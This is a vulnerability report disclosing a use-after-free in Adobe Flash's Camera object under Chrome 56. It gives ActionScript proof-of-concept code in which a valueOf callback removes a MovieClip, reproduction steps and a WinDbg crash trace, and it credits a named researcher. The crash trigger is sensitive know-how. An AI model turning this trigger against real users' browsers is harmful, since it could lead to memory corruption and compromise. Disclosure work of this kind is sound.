VULNERABILITY DETAILS
Adobe Flash Camera Object Use After Free

VERSION
Chrome Version: 56.0.2924.28 beta (64-bit)
Operating System: Windows 7 en 64-bit

REPRODUCTION CASE

Open "TestCamera.html.html" with chrome.
When the camera settings dialog pops up, click "deny" button, then observe chrome crash.


This is a use after free bug when using the camera object.

The function ASnative(2107, 0) takes a number parameter, if we pass in an object with valueOf callback function and removes the 
MovieClip in the callback function, a use-after-free occurs:

var my_cam:Camera = Camera.get();
var my_video:Video = display.video;


var mc:MovieClip = _root.createEmptyMovieClip("mc", _root.getNextHighestDepth());
mc.func =  _global.ASnative(2107, 0);

my_video.attachVideo(my_cam);
   
my_cam.onStatus = function(infoObj:Object) {
    if (my_cam.muted) {
   

   var aaa = mc.func( { valueOf:function() {
	 
	   mc.removeMovieClip();
	   return -2;
	   }});
   
    }
};




FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab
Crash State: 


(1b1c.1d40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\yuki\AppData\Local\Google\Chrome\User Data\PepperFlash\24.0.0.186\pepflashplayer.dll - 
pepflashplayer!PPP_ShutdownBroker+0x26edd9:
000007fe`d43c3569 488b7a50        mov     rdi,qword ptr [rdx+50h] ds:00000000`00000050=????????????????
8:097> k
Child-SP          RetAddr           Call Site
00000000`0019cc50 000007fe`d43beae9 pepflashplayer!PPP_ShutdownBroker+0x26edd9
00000000`0019cd20 000007fe`d4364a53 pepflashplayer!PPP_ShutdownBroker+0x26a359
00000000`0019cd80 000007fe`d4541c5a pepflashplayer!PPP_ShutdownBroker+0x2102c3
00000000`0019cf90 000007fe`d43bf985 pepflashplayer!PPP_ShutdownBroker+0x3ed4ca
00000000`0019d740 000007fe`d443597a pepflashplayer!PPP_ShutdownBroker+0x26b1f5
00000000`0019d850 000007fe`d43c4422 pepflashplayer!PPP_ShutdownBroker+0x2e11ea
00000000`0019d880 000007fe`d43bd8e7 pepflashplayer!PPP_ShutdownBroker+0x26fc92
00000000`0019d8d0 000007fe`d43c1d27 pepflashplayer!PPP_ShutdownBroker+0x269157
00000000`0019d940 000007fe`d43bd69f pepflashplayer!PPP_ShutdownBroker+0x26d597
00000000`0019d9a0 000007fe`d43c4192 pepflashplayer!PPP_ShutdownBroker+0x268f0f
00000000`0019d9f0 000007fe`d4364a53 pepflashplayer!PPP_ShutdownBroker+0x26fa02
00000000`0019da20 000007fe`d4365a38 pepflashplayer!PPP_ShutdownBroker+0x2102c3
00000000`0019dc30 000007fe`d4342d9e pepflashplayer!PPP_ShutdownBroker+0x2112a8
00000000`0019dc90 000007fe`d453c000 pepflashplayer!PPP_ShutdownBroker+0x1ee60e
00000000`0019dd90 000007fe`d4541a70 pepflashplayer!PPP_ShutdownBroker+0x3e7870
00000000`0019de00 000007fe`d430cc79 pepflashplayer!PPP_ShutdownBroker+0x3ed2e0
00000000`0019e5b0 000007fe`d431045a pepflashplayer!PPP_ShutdownBroker+0x1b84e9
00000000`0019e650 000007fe`d41663ae pepflashplayer!PPP_ShutdownBroker+0x1bbcca
00000000`0019e950 000007fe`d416419c pepflashplayer!PPP_ShutdownBroker+0x11c1e
00000000`0019e990 000007fe`d4169176 pepflashplayer!PPP_ShutdownBroker+0xfa0c


Credit:

Please credit "Yuki Chen of Qihoo 360 Vulcan Team" for this bug.